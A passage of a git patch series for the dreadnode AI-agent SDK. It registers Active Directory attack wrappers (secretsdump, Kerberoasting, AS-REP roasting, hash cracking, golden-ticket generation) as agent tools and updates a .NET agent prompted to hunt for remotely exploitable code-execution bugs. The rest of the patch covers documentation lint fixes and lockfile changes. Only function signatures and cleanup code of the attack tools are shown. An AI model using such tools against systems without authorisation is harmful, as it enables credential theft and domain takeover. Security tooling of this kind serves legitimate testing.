enumerate_shares_netexec( target: str, domain: str, username: str = "", password: str = "" ) -> str: @@ -134,6 +141,7 @@ def enumerate_shares_netexec( return result.stdout +@tool() def enumerate_share_files( target: str, share_name: str, @@ -181,6 +189,7 @@ def enumerate_share_files( return result.stdout +@tool() def download_file_content( target: str, share_name: str, @@ -238,6 +247,7 @@ def download_file_content( return content +@tool() def secretsdump( target: str, username: str, @@ -306,6 +316,7 @@ def secretsdump( return result.stdout +@tool() def kerberoast( domain: str, username: str, @@ -346,6 +357,7 @@ def kerberoast( return f"Command failed: {e!s}" +@tool() def asrep_roast( domain: str, username: str, @@ -383,7 +395,7 @@ def asrep_roast( temp_userfile = None if user_list: temp_userfile = f"/tmp/asrep_users_{domain.replace('.', '_')}.txt" - with open(temp_userfile, "w") as f: + with Path.open(temp_userfile, "w") as f: f.write("\n".join(user_list)) cmd.extend(["-usersfile", temp_userfile]) @@ -398,10 +410,11 @@ def asrep_roast( return f"Command failed: {e!s}" finally: # Ensure temp file cleanup - if temp_userfile and os.path.exists(temp_userfile): - os.remove(temp_userfile) + if temp_userfile and Path.exists(temp_userfile): + Path.unlink(temp_userfile) +@tool() def hashcat( hash_value: str, hashcat_mode: int = 13100, @@ -469,8 +482,8 @@ def hashcat( return output finally: - if os.path.exists(hash_file_path): - os.unlink(hash_file_path) + if Path.exists(hash_file_path): + Path.unlink(hash_file_path) except subprocess.TimeoutExpired: return "Error: Command timed out" @@ -478,6 +491,7 @@ def hashcat( return f"Error: {e!s}" +@tool() def john_the_ripper( hash_value: str, hash_format: str = "krb5asrep", @@ -550,7 +564,7 @@ def john_the_ripper( f"{session_name}.log", ] for session_file in session_files: - if os.path.exists(session_file): + if Path.exists(session_file): try: os.unlink(session_file) except Exception: @@ -562,6 +576,7 @@ def john_the_ripper( return f"Error: {e!s}" +@tool() def domain_admin_checker( targets: str, username: str, @@ -626,6 +641,7 @@ def domain_admin_checker( return output +@tool() def get_sid( domain: str, username: str, @@ -662,6 +678,7 @@ def get_sid( return f"Error: {e!s}" +@tool() def generate_golden_ticket( krbtgt_hash: str, domain_sid: str, diff --git a/dreadnode/agent/tools/task.py b/dreadnode/agent/tools/task.py deleted file mode 100644 index c4bc2eb7..00000000 --- a/dreadnode/agent/tools/task.py +++ /dev/null @@ -1,41 +0,0 @@ -from loguru import logger - -from dreadnode import log_metric, log_output -from dreadnode.agent.reactions import Fail, Finish -from dreadnode.agent.tools.base import tool -from dreadnode.data_types import Markdown - - -@tool -async def finish_task(success: bool, summary: str) -> None: # noqa: FBT001 - """ - Mark your task as complete with a success/failure status and markdown summary of actions taken. - - ## When to Use This Tool - This tool should be called under the following circumstances: - 1. **All TODOs are complete**: If you are managing todos, every task in your TODO list has been marked as 'completed'. - 2. **No more actions**: You have no further actions to take and have addressed all aspects of the user's request. - 3. **Irrecoverable failure**: You have encountered an error that you cannot resolve, and there are no further steps you can take. - 4. **Final Summary**: You are ready to provide a comprehensive summary of all actions taken. - - ## When NOT to Use This Tool - Do not use this tool if: - 2. **You are in the middle of a multi-step process**: The overall task is not yet finished. - 3. **A recoverable error has occurred**: You should first attempt to fix the error through all available means. - 4. **You are waiting for user feedback**: The task is paused, not finished. - - ## Best Practices - * **Final Step**: This should be the absolute last tool you call. Once invoked, your task is considered finished. - * **Honest Status**: Accurately report the success or failure of the overall task. If any part of the task failed or was not completed, `success` should be `False`. - * **Comprehensive Summary**: The `summary` should be a complete and detailed markdown-formatted report of everything you did, including steps taken, tools used, and the final outcome. This is your final report to the user. - """ - - log_func = logger.success if success else logger.warning - log_func(f"Agent finished the task (success={success}):") - logger.info(summary) - logger.info("---") - - log_metric("task_success", success) - log_output("task_summary", Markdown(summary)) - - raise Finish if success else Fail("Agent marked the task as failed.") diff --git a/dreadnode/agent/tools/todo.py b/dreadnode/agent/tools/todo.py deleted file mode 100644 index 9369f349..00000000 --- a/dreadnode/agent/tools/todo.py +++ /dev/null @@ -1,112 +0,0 @@ -import typing as t -from collections import Counter - -from loguru import logger -from pydantic import BaseModel, Field - -from dreadnode import log_metric, log_output -from dreadnode.agent.tools.base import tool - - -class TodoItem(BaseModel): - """Represents a single task in the todo list.""" - - id: str = Field( - ..., description="A unique identifier for the todo item (e.g., a UUID or a simple number)." - ) - content: str = Field(..., min_length=1, description="The descriptive content of the task.") - status: t.Literal["pending", "in_progress", "completed"] = Field( - ..., description="The current status of the task." - ) - priority: t.Literal["high", "medium", "low"] = Field( - ..., description="The priority level of the task." - ) - - -@tool -def update_todo(todos: t.Annotated[list[TodoItem], "The full, updated list of todo items."]) -> str: - """ - Use this tool to create and manage a structured task list for your current session. - This helps you track progress, organize complex tasks, and demonstrate thoroughness to the user. - It also helps the user understand the progress of the task and overall progress of their requests. - - ## When to Use This Tool - Use this tool proactively in these scenarios: - - 1. Complex multi-step tasks - When a task requires 3 or more distinct steps or actions - 2. Non-trivial and complex tasks - Tasks that require careful planning or multiple operations - 3. User explicitly requests todo list - When the user directly asks you to use the todo list - 4. User provides multiple tasks - When users provide a list of things to be done (numbered or comma-separated) - 5. After receiving new instructions - Immediately capture user requirements as todos - 6. When you start working on a task - Mark it as in_progress BEFORE beginning work. Ideally you should only have one todo as in_progress at a time - 7. After completing a task - Mark it as completed and add any new follow-up tasks discovered during implementation - - ## When NOT to Use This Tool - - Skip using this tool when: - 1. There is only a single, straightforward task - 2. The task is trivial and tracking it provides no organizational benefit - 3. The task can be completed in less than 3 trivial steps - 4. The task is purely conversational or informational - - NOTE that you should not use this tool if there is only one trivial task to do. In this case you are better off just doing the task directly. - - ## Task States and Management - - 1. **Task States**: Use these states to track progress: - - pending: Task not yet started - - in_progress: Currently working on (limit to ONE task at a time) - - completed: Task finished successfully - - 2. **Task Management**: - - Update task status in real-time as you work - - Mark tasks complete IMMEDIATELY after finishing (don't batch completions) - - Only have ONE task in_progress at any time - - Complete current tasks before starting new ones - - Remove tasks that are no longer relevant from the list entirely - - 3. **Task Completion Requirements**: - - ONLY mark a task as completed when you have FULLY accomplished it - - If you encounter errors, blockers, or cannot finish, keep the task as in_progress - - When blocked, create a new task describing what needs to be resolved - - Never mark a task as completed if: - - Tests are failing - - Implementation is partial - - You encountered unresolved errors - - You couldn't find necessary files or dependencies - - 4. **Task Breakdown**: - - Create specific, actionable items - - Break complex tasks into smaller, manageable steps - - Use clear, descriptive task names - - When in doubt, use this tool. Being proactive with task management demonstrates attentiveness and ensures you complete all requirements successfully. - """ - status_counts = Counter(t.status for t in todos) - - log_metric("num_todos", len(todos)) - log_metric("completed_todos", status_counts["completed"]) - log_metric("in_progress_todos", status_counts["in_progress"]) - log_metric("pending_todos", status_counts["pending"]) - - log_output("todos", todos) - - if not todos: - logger.info("Todo list cleared.") - return "Todo list cleared." - - status_log = f"Updated todo list with {len(todos)} tasks:\n" - for todo in todos: - status = ( - "✅" if todo.status == "completed" else ("⏳" if todo.status == "in_progress" else "📌") - ) - status_log += f"{status} {todo.content} (priority: {todo.priority})\n" - - logger.info(status_log) - - return ( - f"Updated todo list with {len(todos)} tasks. " - f"{status_counts['completed']} completed, " - f"{status_counts['in_progress']} in progress, " - f"{status_counts['pending']} pending." - ) diff --git a/examples/agents/dotnet/agent.py b/examples/agents/dotnet/agent.py index 7a6df14a..eecc13f4 100644 --- a/examples/agents/dotnet/agent.py +++ b/examples/agents/dotnet/agent.py @@ -1,33 +1,50 @@ import asyncio +from pathlib import Path -from rich import print +from rich import box +from rich.console import Console +from rich.markdown import Markdown +from rich.panel import Panel from dreadnode.agent import Agent, AgentResult from dreadnode.agent.tools.ilspy.tool import ILSpyTool +console = Console() + async def main() -> AgentResult: agent = Agent( name="dotnet-reversing-agent", description="An agent that uses ILSpy to reverse engineer .NET binaries.", model="groq/moonshotai/kimi-k2-instruct", - tools=[ILSpyTool(base_path="./bin", binaries=["addinutil.exe", "system.addin.dll"])], - instructions="""You are an expert dotnet reverse engineer with decades of experience. Your task is to analyze the provided static binaries and identify high impact vulnerabilities. You care most about exploitable bugs from a remote perspective. It is okay to review the code multiple times, + tools=[ILSpyTool.from_path(path=Path(__file__).parent / "bin")], + instructions="""You are an expert dotnet reverse engineer with decades of experience. Your task is to analyze the provided static binaries and identify high impact vulnerabilities using the tools available to you. You care most about exploitable bugs from a remote perspective. It is okay to review the code multiple times, - DO NOT write fixes or suggestions. - DO NOT speculate, or make assumptions. Don't say could, might, maybe, or similar. - DO NOT report encyption issues. - DO NOT mock or pretend. + - DO NOT write fixes or suggestions. + - DO NOT speculate, or make assumptions. Don't say could, might, maybe, or similar. + - DO NOT report encyption issues. + - DO NOT mock or pretend. """, ) - print(agent.all_tools) - result = await agent.run( - "You the tools available to you to. Here are the binaries: addinutil.exe, system.addin.dll.", + "Analyze the assemblies and report critical and high impact vulnerabilities that result in code execution. Please find an entry point and summarize the call flow to the vulnerability as markdown. Create a Mermaid diagram of the call flow.", + ) + + # Post-run + console.print( + Panel( + Markdown(result.messages[-1].content), + title="Response", + subtitle="powered by dreadnode", + border_style="cyan", + box=box.ROUNDED, + padding=(1, 2), + expand=False, + ) ) - print(result.__dict__) + return result if __name__ == "__main__": From 43123e6d9b9c22c8e603ace731a9465170a414a1 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sat, 23 Aug 2025 23:46:56 -0600 Subject: [PATCH 09/60] auto-gen docs --- docs/sdk/api.mdx | 8 ++++---- docs/sdk/data_types.mdx | 6 ++++-- docs/sdk/main.mdx | 8 ++------ docs/sdk/metric.mdx | 8 +++----- docs/sdk/scorers.mdx | 10 +++++----- 5 files changed, 18 insertions(+), 22 deletions(-) diff --git a/docs/sdk/api.mdx b/docs/sdk/api.mdx index 214574a2..a80e5b86 100644 --- a/docs/sdk/api.mdx +++ b/docs/sdk/api.mdx @@ -169,7 +169,7 @@ def export_metrics( Returns: A DataFrame containing the exported metric data. """ - import pandas as pd + import pandas as pd # noqa: PLC0415 response = self.request( "GET", @@ -264,7 +264,7 @@ def export_parameters( Returns: A DataFrame containing the exported parameter data. """ - import pandas as pd + import pandas as pd # noqa: PLC0415 response = self.request( "GET", @@ -347,7 +347,7 @@ def export_runs( Returns: A DataFrame containing the exported run data. """ - import pandas as pd + import pandas as pd # noqa: PLC0415 response = self.request( "GET", @@ -444,7 +444,7 @@ def export_timeseries( Returns: A DataFrame containing the exported timeseries data. """ - import pandas as pd + import pandas as pd # noqa: PLC0415 response = self.request( "GET", diff --git a/docs/sdk/data_types.mdx b/docs/sdk/data_types.mdx index da56e3ea..d47a6ad2 100644 --- a/docs/sdk/data_types.mdx +++ b/docs/sdk/data_types.mdx @@ -643,10 +643,12 @@ def to_serializable(self) -> tuple[bytes, dict[str, t.Any]]: Returns: A tuple of (video_bytes, metadata_dict) """ - import numpy as np # type: ignore[import,unused-ignore] + import numpy as np # type: ignore[import,unused-ignore] # noqa: PLC0415 try: - from moviepy.video.VideoClip import VideoClip # type: ignore[import,unused-ignore] + from moviepy.video.VideoClip import ( # type: ignore[import,unused-ignore,import-untyped] # noqa: PLC0415 + VideoClip, + ) except ImportError: VideoClip = None # noqa: N806 diff --git a/docs/sdk/main.mdx b/docs/sdk/main.mdx index 300287e8..803a286e 100644 --- a/docs/sdk/main.mdx +++ b/docs/sdk/main.mdx @@ -283,10 +283,7 @@ def configure( with contextlib.suppress(Exception): user_config = UserConfig.read() profile_name = profile or os.environ.get(ENV_PROFILE) - if profile_name: - active_profile = profile_name - else: - active_profile = user_config.active_profile_name + active_profile = profile_name or user_config.active_profile_name if active_profile: config_source = f"profile: {active_profile}" @@ -460,7 +457,6 @@ def initialize(self) -> None: This method is called automatically when you call `configure()`. """ - from s3fs import S3FileSystem # type: ignore [import-untyped] if self._initialized: return @@ -976,7 +972,7 @@ with dreadnode.run("my_run"): def log_metric( self, name: str, - value: float | bool | Metric, + value: float | bool | Metric, # noqa: FBT001 *, step: int = 0, origin: t.Any | None = None, diff --git a/docs/sdk/metric.mdx b/docs/sdk/metric.mdx index 34a6afe6..0a537149 100644 --- a/docs/sdk/metric.mdx +++ b/docs/sdk/metric.mdx @@ -31,8 +31,8 @@ Metric Metric( value: float, step: int = 0, - timestamp: datetime = lambda: datetime.now( - timezone.utc + timestamp: datetime = ( + lambda: datetime.now(timezone.utc) )(), attributes: JsonDict = dict(), ) @@ -136,9 +136,7 @@ def apply_mode(self, mode: MetricAggMode, others: "list[Metric]") -> "Metric": self.value = len(others) + 1 elif mode == "avg" and prior_values: current_avg = prior_values[-1] - self.value = current_avg + (self.value - current_avg) / ( - len(prior_values) + 1 - ) + self.value = current_avg + (self.value - current_avg) / (len(prior_values) + 1) return self ``` diff --git a/docs/sdk/scorers.mdx b/docs/sdk/scorers.mdx index 573c2e9f..ff9b4863 100644 --- a/docs/sdk/scorers.mdx +++ b/docs/sdk/scorers.mdx @@ -128,7 +128,7 @@ def zero_shot_classification( ) try: - from transformers import ( # type: ignore [attr-defined,import-not-found,unused-ignore] + from transformers import ( # type: ignore [attr-defined,import-not-found,unused-ignore] # noqa: PLC0415 pipeline, ) except ImportError: @@ -846,7 +846,7 @@ def detect_harm_with_openai( model: The moderation model to use. name: Name of the scorer. """ - import openai + import openai # noqa: PLC0415 async def evaluate(data: t.Any) -> Metric: text = str(data) @@ -1816,7 +1816,7 @@ def detect_pii_with_presidio( ) try: - import presidio_analyzer # type: ignore[import-not-found,unused-ignore] # noqa: F401 + import presidio_analyzer # type: ignore[import-not-found,unused-ignore] # noqa: F401, PLC0415 except ImportError: warn_at_user_stacklevel(presidio_import_error_msg, UserWarning) @@ -2020,7 +2020,7 @@ def wrap_chat( """ async def evaluate(chat: "Chat") -> Metric: - from rigging.chat import Chat + from rigging.chat import Chat # noqa: PLC0415 # Fall through to the inner scorer if chat is not a Chat instance if not isinstance(chat, Chat): @@ -2479,7 +2479,7 @@ def similarity_with_litellm( or self-hosted models. name: Name of the scorer. """ - import litellm + import litellm # noqa: PLC0415 async def evaluate(data: t.Any) -> Metric: nonlocal reference, model From 95c5fbf2bbc85f1d60bec0273b5820b523e94b59 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sun, 24 Aug 2025 00:42:00 -0600 Subject: [PATCH 10/60] poetry lock, python max version 3.13 --- poetry.lock | 828 ++----------------------------------------------- pyproject.toml | 12 +- 2 files changed, 30 insertions(+), 810 deletions(-) diff --git a/poetry.lock b/poetry.lock index 015a0bd3..6209871f 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.1.4 and should not be changed by hand. [[package]] name = "aiobotocore" @@ -248,7 +248,7 @@ description = "Timeout context manager for asyncio programs" optional = false python-versions = ">=3.8" groups = ["main", "dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "async_timeout-5.0.1-py3-none-any.whl", hash = "sha256:39e3809566ff85354557ec2398b55e096c8364bacac9405a7a1fa429e77fe76c"}, {file = "async_timeout-5.0.1.tar.gz", hash = "sha256:d9321a7a3d5a6a5e187e824d2fa0793ce379a202935782d555d6e9d2735677d3"}, @@ -297,56 +297,6 @@ charset-normalizer = ["charset-normalizer"] html5lib = ["html5lib"] lxml = ["lxml"] -[[package]] -name = "blis" -version = "1.3.0" -description = "The Blis BLAS-like linear algebra library, as a self-contained C-extension." -optional = false -python-versions = "<3.14,>=3.6" -groups = ["main"] -files = [ - {file = "blis-1.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:03c5d2d59415c58ec60e16a0d35d6516a50dae8f17963445845fd961530fcfb0"}, - {file = "blis-1.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d1b5c7e7b337e4b0b4887d4837c25e787a940c38d691c6b2936baebf1d008f1b"}, - {file = "blis-1.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f446f853e755e71e7abb9b23ad25fe36f7e3dc6a88ba3e071a06dedd029fb5dc"}, - {file = "blis-1.3.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c9448cd77af47afbecaf0267168016b76298553cc46e51c1c00c22256df21c7"}, - {file = "blis-1.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb2571616da1dfa4a927f2952ae90afc7b061f287da47a0a1bd8318c3a53e178"}, - {file = "blis-1.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:9995848456a3684a81585e1d19e7315023614cff9e52ae292129ad600117d7d9"}, - {file = "blis-1.3.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:520a21fea2355bce4a103893b13c581ecb7034547d4d71d22f7033419c6ace75"}, - {file = "blis-1.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:5cb979397cb69ecffe7a67614dd044de0c43486348e1591d1cf77f425c1eb7bd"}, - {file = "blis-1.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:2cbc7b6997be35d94e004587eaf211ca187e4013f9a2df0bb949f3dfba18c68c"}, - {file = "blis-1.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:456833a6006dce2165d68e1ab0aa7678608a9a99a18aa37af7aa0437c972f7f6"}, - {file = "blis-1.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8072fbb03505444c818810536ad77616a18d97bbde06e8ec69755d917abb7f31"}, - {file = "blis-1.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:594c2332bcb1a0fdacb5e857a1afaf338d52c05ba24710515cddbf25862787ac"}, - {file = "blis-1.3.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2cf336a810bd0e6ab52e8ba5455c42ff02f6216acb196ffc831cd30ab084127e"}, - {file = "blis-1.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cad91ae2c8a11286b32e80ac7e579d7028f8c0a22afa1e817edddc18051f05b2"}, - {file = "blis-1.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1bf4267616fb97a3b869cc8d278383faa86882dc8330067421f9bf9c06e6b80c"}, - {file = "blis-1.3.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:45c6f6e801c712592f487f4021c9a85079d6ff8fc487f3d8202212edd4900f8e"}, - {file = "blis-1.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:570113bc81bce8890fa2c067a30f6e6caa82bb3be7de0926d659e986e40f5509"}, - {file = "blis-1.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:75ecaa548589cba2ba75e621e2a8b89888e3f326ef1a27e7a9b1713114467ff2"}, - {file = "blis-1.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ef188f1f914d52acbbd75993ba25554e381ec9099758b340cd0da41af94ae8ae"}, - {file = "blis-1.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:626f84522faa51d5a52f9820551a84a5e02490bf6d1abdfc8d27934a0ff939de"}, - {file = "blis-1.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f56e0454ce44bc08797383ce427ee5e2b044aab1eafb450eab82e86f8bfac853"}, - {file = "blis-1.3.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9bb5770efe233374d73a567af5cdef24f48bead83d118bdb9bd5c2187b0f010"}, - {file = "blis-1.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d52ce33a1895d82f2f39f7689d5e70b06ebba6bc6f610046ecd81db88d650aac"}, - {file = "blis-1.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6c78e8dd420e0e695df0ceecf950f3cf823e0a1b8c2871a7e35117c744d45861"}, - {file = "blis-1.3.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:7a060700ee98ea44a1b9833b16d3dd1375aaa9d3230222bfc5f13c4664e5710e"}, - {file = "blis-1.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:250f0b0aeca0fdde7117751a54ae6d6b6818a446a619f3c0c63f3deb77f700a8"}, - {file = "blis-1.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:2e6f468467a18a7c2ac2e411643f5cfa45a435701e2c04ad4aa46bb02fc3aa5c"}, - {file = "blis-1.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:4d6a91c8726d0bc3345a8e0c8b7b8e800bee0b9acc4c2a0dbeb782b8b651f824"}, - {file = "blis-1.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e3c20bc3d7143383195cc472373fb301d3bafbacd8ab8f3bffc27c68bef45d81"}, - {file = "blis-1.3.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:778c4b84c6eccab223d8afe20727820f6c7dd7a010c3bfb262104cc83b0a8e4c"}, - {file = "blis-1.3.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:69584589977366366cd99cc7cb23a76a814df8bcae8b777fde4a94e8684c1fb8"}, - {file = "blis-1.3.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b2adc4549e610b59e8db5a57ab7206e4ac1502ac5b261ed0e6de42d3fb311d5"}, - {file = "blis-1.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:9aaa84df638e0bb7909a35e3c220168df2b90f267967b3004a88f57b49fbe4ec"}, - {file = "blis-1.3.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:0da7b54331bed31aa55839da2d0e5451447e1f5e8a9367cce7ff1fb27498a22a"}, - {file = "blis-1.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:682175bf2d047129b3715e3f1305c6b23a45e2ce24c4b1d0fa2eb03eb877edd4"}, - {file = "blis-1.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:91de2baf03da3a173cf62771f1d6b9236a27a8cbd0e0033be198f06ef6224986"}, - {file = "blis-1.3.0.tar.gz", hash = "sha256:1695a87e3fc4c20d9b9140f5238cac0514c411b750e8cdcec5d8320c71f62e99"}, -] - -[package.dependencies] -numpy = {version = ">=1.19.0,<3.0.0", markers = "python_version >= \"3.9\""} - [[package]] name = "botocore" version = "1.39.11" @@ -367,18 +317,6 @@ urllib3 = {version = ">=1.25.4,<2.2.0 || >2.2.0,<3", markers = "python_version > [package.extras] crt = ["awscrt (==0.23.8)"] -[[package]] -name = "catalogue" -version = "2.0.10" -description = "Super lightweight function registries for your library" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "catalogue-2.0.10-py3-none-any.whl", hash = "sha256:58c2de0020aa90f4a2da7dfad161bf7b3b054c86a5f09fcedc0b2b740c109a9f"}, - {file = "catalogue-2.0.10.tar.gz", hash = "sha256:4f56daa940913d3f09d589c191c74e5a6d51762b3a9e37dd53b7437afd6cda15"}, -] - [[package]] name = "certifi" version = "2025.8.3" @@ -588,27 +526,6 @@ files = [ [package.dependencies] colorama = {version = "*", markers = "platform_system == \"Windows\""} -[[package]] -name = "cloudpathlib" -version = "0.21.1" -description = "pathlib-style classes for cloud storage services." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "cloudpathlib-0.21.1-py3-none-any.whl", hash = "sha256:bfe580ad72ec030472ec233cd7380701b2d3227da7b2898387bd170aa70c803c"}, - {file = "cloudpathlib-0.21.1.tar.gz", hash = "sha256:f26a855abf34d98f267aafd15efdb2db3c9665913dbabe5fad079df92837a431"}, -] - -[package.dependencies] -typing-extensions = {version = ">4", markers = "python_version < \"3.11\""} - -[package.extras] -all = ["cloudpathlib[azure]", "cloudpathlib[gs]", "cloudpathlib[s3]"] -azure = ["azure-storage-blob (>=12)", "azure-storage-file-datalake (>=12)"] -gs = ["google-cloud-storage"] -s3 = ["boto3 (>=1.34.0)"] - [[package]] name = "colorama" version = "0.4.6" @@ -636,22 +553,6 @@ files = [ [package.extras] test = ["pytest"] -[[package]] -name = "confection" -version = "0.1.5" -description = "The sweetest config system for Python" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "confection-0.1.5-py3-none-any.whl", hash = "sha256:e29d3c3f8eac06b3f77eb9dfb4bf2fc6bcc9622a98ca00a698e3d019c6430b14"}, - {file = "confection-0.1.5.tar.gz", hash = "sha256:8e72dd3ca6bd4f48913cd220f10b8275978e740411654b6e8ca6d7008c590f0e"}, -] - -[package.dependencies] -pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<3.0.0" -srsly = ">=2.4.0,<3.0.0" - [[package]] name = "coolname" version = "2.2.0" @@ -688,52 +589,6 @@ toml = ["tomli (>=2.0.0) ; python_version < \"3.11\""] trio = ["trio (>=0.10.0)"] yaml = ["pyyaml (>=6.0.1)"] -[[package]] -name = "cymem" -version = "2.0.11" -description = "Manage calls to calloc/free through Cython" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "cymem-2.0.11-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:1b4dd8f8c2475c7c9948eefa89c790d83134600858d8d43b90276efd8df3882e"}, - {file = "cymem-2.0.11-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d46ba0d2e0f749195297d16f2286b55af7d7c084db2b853fdfccece2c000c5dc"}, - {file = "cymem-2.0.11-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:739c4336b9d04ce9761851e9260ef77508d4a86ee3060e41302bfb6fa82c37de"}, - {file = "cymem-2.0.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a69c470c2fb118161f49761f9137384f46723c77078b659bba33858e19e46b49"}, - {file = "cymem-2.0.11-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:40159f6c92627438de970fd761916e745d70dfd84a7dcc28c1627eb49cee00d8"}, - {file = "cymem-2.0.11-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f503f98e6aa333fffbe657a6854f13a9c3de68860795ae21171284213b9c5c09"}, - {file = "cymem-2.0.11-cp310-cp310-win_amd64.whl", hash = "sha256:7f05ed5920cc92d6b958ec5da55bd820d326fe9332b90660e6fa67e3b476ceb1"}, - {file = "cymem-2.0.11-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3ee54039aad3ef65de82d66c40516bf54586287b46d32c91ea0530c34e8a2745"}, - {file = "cymem-2.0.11-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4c05ef75b5db217be820604e43a47ccbbafea98ab6659d07cea92fa3c864ea58"}, - {file = "cymem-2.0.11-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a8d5381e5793ce531bac0dbc00829c8381f18605bb67e4b61d34f8850463da40"}, - {file = "cymem-2.0.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2b9d3f42d7249ac81802135cad51d707def058001a32f73fc7fbf3de7045ac7"}, - {file = "cymem-2.0.11-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:39b78f2195d20b75c2d465732f6b8e8721c5d4eb012777c2cb89bdb45a043185"}, - {file = "cymem-2.0.11-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:2203bd6525a80d8fd0c94654a263af21c0387ae1d5062cceaebb652bf9bad7bc"}, - {file = "cymem-2.0.11-cp311-cp311-win_amd64.whl", hash = "sha256:aa54af7314de400634448da1f935b61323da80a49484074688d344fb2036681b"}, - {file = "cymem-2.0.11-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:a0fbe19ce653cd688842d81e5819dc63f911a26e192ef30b0b89f0ab2b192ff2"}, - {file = "cymem-2.0.11-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:de72101dc0e6326f6a2f73e05a438d1f3c6110d41044236d0fbe62925091267d"}, - {file = "cymem-2.0.11-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bee4395917f6588b8ac1699499128842768b391fe8896e8626950b4da5f9a406"}, - {file = "cymem-2.0.11-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b02f2b17d760dc3fe5812737b1ce4f684641cdd751d67761d333a3b5ea97b83"}, - {file = "cymem-2.0.11-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:04ee6b4041ddec24512d6e969ed6445e57917f01e73b9dabbe17b7e6b27fef05"}, - {file = "cymem-2.0.11-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e1048dae7e627ee25f22c87bb670b13e06bc0aecc114b89b959a798d487d1bf4"}, - {file = "cymem-2.0.11-cp312-cp312-win_amd64.whl", hash = "sha256:0c269c7a867d74adeb9db65fa1d226342aacf44d64b7931282f0b0eb22eb6275"}, - {file = "cymem-2.0.11-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f4a311c82f743275c84f708df89ac5bf60ddefe4713d532000c887931e22941f"}, - {file = "cymem-2.0.11-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:02ed92bead896cca36abad00502b14fa651bdf5d8319461126a2d5ac8c9674c5"}, - {file = "cymem-2.0.11-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:44ddd3588379f8f376116384af99e3fb5f90091d90f520c341942618bf22f05e"}, - {file = "cymem-2.0.11-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 